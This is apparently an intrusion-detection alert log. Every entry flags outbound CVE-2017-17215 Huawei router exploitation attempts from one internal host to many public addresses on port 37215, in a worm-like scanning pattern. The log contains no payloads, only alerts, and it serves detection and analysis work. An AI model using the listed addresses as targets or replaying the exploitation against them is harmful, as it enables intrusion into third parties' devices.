2025-02-12T16:53:27.057552+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41576	41.78.178.106	37215	TCP
2025-02-12T16:53:27.057686+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52702	157.55.55.174	37215	TCP
2025-02-12T16:53:27.057703+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33854	197.106.162.107	37215	TCP
2025-02-12T16:53:27.058521+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59184	197.54.242.189	37215	TCP
2025-02-12T16:53:27.058570+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57564	200.90.130.189	37215	TCP
2025-02-12T16:53:27.059505+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40626	157.168.10.0	37215	TCP
2025-02-12T16:53:27.061177+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37616	157.251.141.223	37215	TCP
2025-02-12T16:53:27.061441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39218	180.13.186.193	37215	TCP
2025-02-12T16:53:27.073986+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54394	157.119.213.21	37215	TCP
2025-02-12T16:53:27.074392+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43058	157.152.7.9	37215	TCP
2025-02-12T16:53:27.075147+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32942	197.104.222.212	37215	TCP
2025-02-12T16:53:27.075182+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45894	157.220.50.26	37215	TCP
2025-02-12T16:53:27.075272+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38982	157.72.147.33	37215	TCP
2025-02-12T16:53:27.075697+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39364	157.71.110.167	37215	TCP
2025-02-12T16:53:27.075697+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46624	157.124.135.180	37215	TCP
2025-02-12T16:53:27.075843+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33624	157.241.46.59	37215	TCP
2025-02-12T16:53:27.075861+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47402	191.231.207.119	37215	TCP
2025-02-12T16:53:27.076045+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51832	66.208.46.105	37215	TCP
2025-02-12T16:53:27.076076+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47632	2.26.73.91	37215	TCP
2025-02-12T16:53:27.076247+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54946	197.163.29.102	37215	TCP
2025-02-12T16:53:27.076412+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35654	41.129.128.165	37215	TCP
2025-02-12T16:53:27.076792+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49558	34.103.248.46	37215	TCP
2025-02-12T16:53:27.076946+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38766	44.234.214.76	37215	TCP
2025-02-12T16:53:27.077069+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32824	50.230.150.192	37215	TCP
2025-02-12T16:53:27.077395+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49840	41.225.3.190	37215	TCP
2025-02-12T16:53:27.077615+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50106	63.234.89.216	37215	TCP
2025-02-12T16:53:27.077947+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42762	157.216.186.83	37215	TCP
2025-02-12T16:53:27.077958+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48606	197.192.67.27	37215	TCP
2025-02-12T16:53:27.090300+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35848	41.99.74.218	37215	TCP
2025-02-12T16:53:27.090306+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38052	41.137.146.48	37215	TCP
2025-02-12T16:53:27.090621+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41140	41.252.45.28	37215	TCP
2025-02-12T16:53:27.090937+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43410	157.109.12.138	37215	TCP
2025-02-12T16:53:27.090951+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50614	41.7.108.191	37215	TCP
2025-02-12T16:53:27.091263+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53048	197.178.155.12	37215	TCP
2025-02-12T16:53:27.091282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38356	157.59.8.16	37215	TCP
2025-02-12T16:53:27.091895+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59128	197.163.238.214	37215	TCP
2025-02-12T16:53:27.092256+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54258	1.32.126.118	37215	TCP
2025-02-12T16:53:27.092550+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43860	197.218.111.74	37215	TCP
2025-02-12T16:53:27.092562+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52708	41.246.152.235	37215	TCP
2025-02-12T16:53:27.093024+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43412	41.157.154.239	37215	TCP
2025-02-12T16:53:27.093035+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59908	157.150.167.151	37215	TCP
2025-02-12T16:53:27.093203+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51254	41.245.185.171	37215	TCP
2025-02-12T16:53:27.093204+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47400	157.23.14.51	37215	TCP
2025-02-12T16:53:27.093218+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50990	157.171.212.19	37215	TCP
2025-02-12T16:53:27.093252+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33440	157.91.205.244	37215	TCP
2025-02-12T16:53:27.093272+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45862	197.63.186.127	37215	TCP
2025-02-12T16:53:27.093302+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57456	41.186.50.228	37215	TCP
2025-02-12T16:53:27.093324+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51518	115.90.49.37	37215	TCP
2025-02-12T16:53:27.093340+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39054	157.39.170.195	37215	TCP
2025-02-12T16:53:27.093381+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57924	197.54.240.89	37215	TCP
2025-02-12T16:53:27.093405+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49652	197.249.29.151	37215	TCP
2025-02-12T16:53:27.093423+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32838	197.152.186.182	37215	TCP
2025-02-12T16:53:27.093839+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60108	93.183.61.193	37215	TCP
2025-02-12T16:53:27.093860+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43738	157.207.102.185	37215	TCP
2025-02-12T16:53:27.093902+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51336	197.89.235.248	37215	TCP
2025-02-12T16:53:27.093912+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59312	45.184.191.155	37215	TCP
2025-02-12T16:53:27.093943+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51326	41.91.37.147	37215	TCP
2025-02-12T16:53:27.093972+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38932	197.181.197.79	37215	TCP
2025-02-12T16:53:27.093985+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43092	157.48.115.241	37215	TCP
2025-02-12T16:53:27.094006+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47266	156.67.193.66	37215	TCP
2025-02-12T16:53:27.094179+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54012	41.46.181.102	37215	TCP
2025-02-12T16:53:27.094198+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54560	157.161.244.4	37215	TCP
2025-02-12T16:53:27.094223+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49686	157.206.203.8	37215	TCP
2025-02-12T16:53:27.094243+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36878	157.175.1.57	37215	TCP
2025-02-12T16:53:27.094268+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39434	197.0.234.72	37215	TCP
2025-02-12T16:53:27.094298+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60496	41.234.3.147	37215	TCP
2025-02-12T16:53:27.094510+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40630	157.65.31.53	37215	TCP
2025-02-12T16:53:27.094670+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52178	41.187.22.192	37215	TCP
2025-02-12T16:53:27.108166+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58066	168.171.94.48	37215	TCP
2025-02-12T16:53:27.108328+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47428	197.112.24.157	37215	TCP
2025-02-12T16:53:27.427127+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37832	197.157.195.158	37215	TCP
2025-02-12T16:53:29.140694+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36964	41.178.163.26	37215	TCP
2025-02-12T16:53:30.088565+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50604	41.28.122.11	37215	TCP
2025-02-12T16:53:30.105742+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60884	157.84.41.1	37215	TCP
2025-02-12T16:53:30.108033+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36638	141.31.250.160	37215	TCP
2025-02-12T16:53:30.124181+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51554	197.194.29.50	37215	TCP
2025-02-12T16:53:30.135584+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50860	157.59.235.163	37215	TCP
2025-02-12T16:53:30.135645+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40998	164.104.94.75	37215	TCP
2025-02-12T16:53:30.460605+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47670	41.76.103.90	37215	TCP
2025-02-12T16:53:31.153213+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53074	44.179.28.161	37215	TCP
2025-02-12T16:53:31.153304+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43794	41.73.129.99	37215	TCP
2025-02-12T16:53:31.186768+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39724	157.5.143.240	37215	TCP
2025-02-12T16:53:31.431221+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33336	197.218.178.227	37215	TCP
2025-02-12T16:53:31.431230+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42110	41.80.18.241	37215	TCP
2025-02-12T16:53:31.431242+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51928	4.38.82.245	37215	TCP
2025-02-12T16:53:32.151311+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36498	197.163.46.211	37215	TCP
2025-02-12T16:53:32.151440+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49556	50.15.129.57	37215	TCP
2025-02-12T16:53:32.153316+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50688	197.254.230.195	37215	TCP
2025-02-12T16:53:32.169164+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45096	157.53.111.2	37215	TCP
2025-02-12T16:53:32.184116+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59182	64.244.204.171	37215	TCP
2025-02-12T16:53:32.184645+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39968	197.185.240.195	37215	TCP
2025-02-12T16:53:32.186512+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59536	197.24.116.112	37215	TCP
2025-02-12T16:53:32.233626+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45040	157.27.47.251	37215	TCP
2025-02-12T16:53:33.151287+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38148	94.32.135.83	37215	TCP
2025-02-12T16:53:33.182499+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57128	197.17.242.136	37215	TCP
2025-02-12T16:53:33.182584+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60308	120.230.124.16	37215	TCP
2025-02-12T16:53:33.183152+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48640	41.234.192.27	37215	TCP
2025-02-12T16:53:33.231127+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47168	41.61.145.181	37215	TCP
2025-02-12T16:53:33.231192+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40768	41.48.22.199	37215	TCP
2025-02-12T16:53:33.233035+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57484	159.226.3.29	37215	TCP
2025-02-12T16:53:34.182945+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60026	41.237.208.83	37215	TCP
2025-02-12T16:53:34.184207+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59888	86.56.13.210	37215	TCP
2025-02-12T16:53:34.186152+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59562	41.192.53.15	37215	TCP
2025-02-12T16:53:34.198112+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51650	41.193.107.235	37215	TCP
2025-02-12T16:53:34.201742+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33782	218.162.115.147	37215	TCP
2025-02-12T16:53:34.201807+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53892	197.79.235.73	37215	TCP
2025-02-12T16:53:34.215546+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33974	197.171.245.196	37215	TCP
2025-02-12T16:53:34.230983+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42458	157.211.156.72	37215	TCP
2025-02-12T16:53:34.231063+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35370	41.210.201.232	37215	TCP
2025-02-12T16:53:34.293794+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41698	157.76.209.7	37215	TCP
2025-02-12T16:53:34.346103+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46212	197.212.150.25	37215	TCP
2025-02-12T16:53:34.354984+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53520	197.98.7.236	37215	TCP
2025-02-12T16:53:34.370208+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43976	141.238.167.79	37215	TCP
2025-02-12T16:53:34.370947+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33982	41.99.14.215	37215	TCP
2025-02-12T16:53:34.371914+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56510	41.8.144.198	37215	TCP
2025-02-12T16:53:34.386218+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44098	117.200.7.49	37215	TCP
2025-02-12T16:53:34.387210+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33416	102.205.162.85	37215	TCP
2025-02-12T16:53:35.229392+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48266	41.191.173.152	37215	TCP
2025-02-12T16:53:35.262359+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54182	41.254.85.243	37215	TCP
2025-02-12T16:53:36.229438+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60324	157.153.153.144	37215	TCP
2025-02-12T16:53:36.229660+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39188	157.29.199.165	37215	TCP
2025-02-12T16:53:36.260796+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38474	41.103.78.118	37215	TCP
2025-02-12T16:53:36.260998+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59976	149.175.39.185	37215	TCP
2025-02-12T16:53:36.261604+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49654	114.51.72.51	37215	TCP
2025-02-12T16:53:36.262579+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59316	109.10.65.62	37215	TCP
2025-02-12T16:53:36.292072+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49126	57.157.121.140	37215	TCP
2025-02-12T16:53:36.308606+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46612	197.29.129.148	37215	TCP
2025-02-12T16:53:36.345920+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59348	197.246.25.32	37215	TCP
2025-02-12T16:53:36.346023+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48934	41.171.197.52	37215	TCP
2025-02-12T16:53:36.346028+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38256	197.233.23.179	37215	TCP
2025-02-12T16:53:36.355151+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38550	157.19.245.227	37215	TCP
2025-02-12T16:53:36.355220+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53074	41.228.249.212	37215	TCP
2025-02-12T16:53:36.373834+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44872	157.195.100.85	37215	TCP
2025-02-12T16:53:36.389498+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45904	41.117.153.63	37215	TCP
2025-02-12T16:53:36.391466+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48672	197.197.49.205	37215	TCP
2025-02-12T16:53:37.261317+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60818	66.246.66.93	37215	TCP
2025-02-12T16:53:37.262248+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40290	41.116.112.232	37215	TCP
2025-02-12T16:53:37.262991+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39824	105.180.84.65	37215	TCP
2025-02-12T16:53:37.295812+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49320	157.192.28.118	37215	TCP
2025-02-12T16:53:37.295935+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52710	197.53.68.43	37215	TCP
2025-02-12T16:53:37.309214+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56176	41.229.251.68	37215	TCP
2025-02-12T16:53:37.309392+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51970	157.237.60.79	37215	TCP
2025-02-12T16:53:37.309415+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40244	197.134.243.243	37215	TCP
2025-02-12T16:53:37.309536+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40718	197.12.104.226	37215	TCP
2025-02-12T16:53:37.311410+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37290	197.47.98.218	37215	TCP
2025-02-12T16:53:37.388407+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42676	157.26.125.81	37215	TCP
2025-02-12T16:53:37.401192+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53572	197.81.96.88	37215	TCP
2025-02-12T16:53:37.401258+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56682	157.72.254.132	37215	TCP
2025-02-12T16:53:37.418990+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33902	157.101.103.53	37215	TCP
2025-02-12T16:53:37.422918+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44326	177.162.38.249	37215	TCP
2025-02-12T16:53:38.432491+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40874	197.164.210.232	37215	TCP
2025-02-12T16:53:38.432589+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43574	143.222.45.181	37215	TCP
2025-02-12T16:53:38.432733+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51052	157.114.24.137	37215	TCP
2025-02-12T16:53:38.432739+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36726	197.194.14.211	37215	TCP
2025-02-12T16:53:38.432831+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48784	197.14.250.123	37215	TCP
2025-02-12T16:53:38.432912+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59004	157.71.93.122	37215	TCP
2025-02-12T16:53:38.433028+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58176	41.23.203.85	37215	TCP
2025-02-12T16:53:38.433073+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52932	197.251.43.151	37215	TCP
2025-02-12T16:53:38.433147+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54654	41.127.139.167	37215	TCP
2025-02-12T16:53:38.433308+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58164	197.207.95.254	37215	TCP
2025-02-12T16:53:38.433322+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41878	157.33.48.121	37215	TCP
2025-02-12T16:53:38.435411+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60942	68.106.179.203	37215	TCP
2025-02-12T16:53:38.450089+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60320	157.65.1.13	37215	TCP
